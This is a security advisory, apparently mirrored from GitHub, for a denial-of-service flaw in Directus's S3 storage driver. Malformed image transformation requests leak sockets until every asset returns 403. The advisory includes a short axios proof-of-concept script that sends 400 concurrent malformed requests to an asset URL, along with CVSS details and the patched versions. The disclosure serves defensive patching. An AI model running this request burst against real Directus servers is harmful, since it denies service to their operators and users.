Directus's S3 assets become unavailable after a burst of malformed transformations

Description

Summary

When making many malformed transformation requests at once, at some point, all assets are being served as 403.

Details

When I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of sockets held on Agent on NodeHttpHandler was always equal to STORAGE_CLOUD_MAX_SOCKETS making it impossible to have new connections causing assets to be inaccessible.

After looking into this issue on AWS SDK I found that if the stream is requested, it needs to be consumed otherwise will hang forever. And as can be seen here the stream is not consumed, because sharp will throw an error on the invalid arguments. For example ?height=xyz

The timeouts set here had no noticeable effect on tests made.

PoC

This can be easily reproduced with the following steps:
- setup AWS S3 storage
- set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction)
- upload a file to your project
- run this file (Replace the the file ID with the one you just uploaded):

import axios from "axios";

async function start() {
  Array.from({ length: 400 }, (_, i) => {
    axios
      .get(
        "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ"
      )
      .then(() => console.log("✅"))
      .catch((e) =>
        console.log("⛔", e.response?.status || e.code || e.message)
      );
  });
}

start();

Here's an example:

https://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c

Impact

This causes denial of assets for all policies of Directus, including Admin and Public.

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-03-26 17:19:28 UTC
Updated
2025-03-27 03:42:49 UTC
GitHub reviewed
2025-03-26 17:19:28 UTC
NVD published
2025-03-26

EPSS Score

Score Percentile
0.18% 39.50%

CVSS Scores

Base score Version Severity Vector
5.3 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:L)
Might cause slowdowns, glitches, or partial disruption—not a full brick.

Identifiers

CWEs

CWE id Name
CWE-770 Allocation of Resources Without Limits or Throttling

Credits

  • joselcvarela (reporter)

Affected packages (2)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm @directus/storage-driver-s3 >= 9.22.0, < 12.0.1 12.0.1
npm directus >= 9.22.0, < 11.5.0 11.5.0

References

cvelogic Threat Intelligence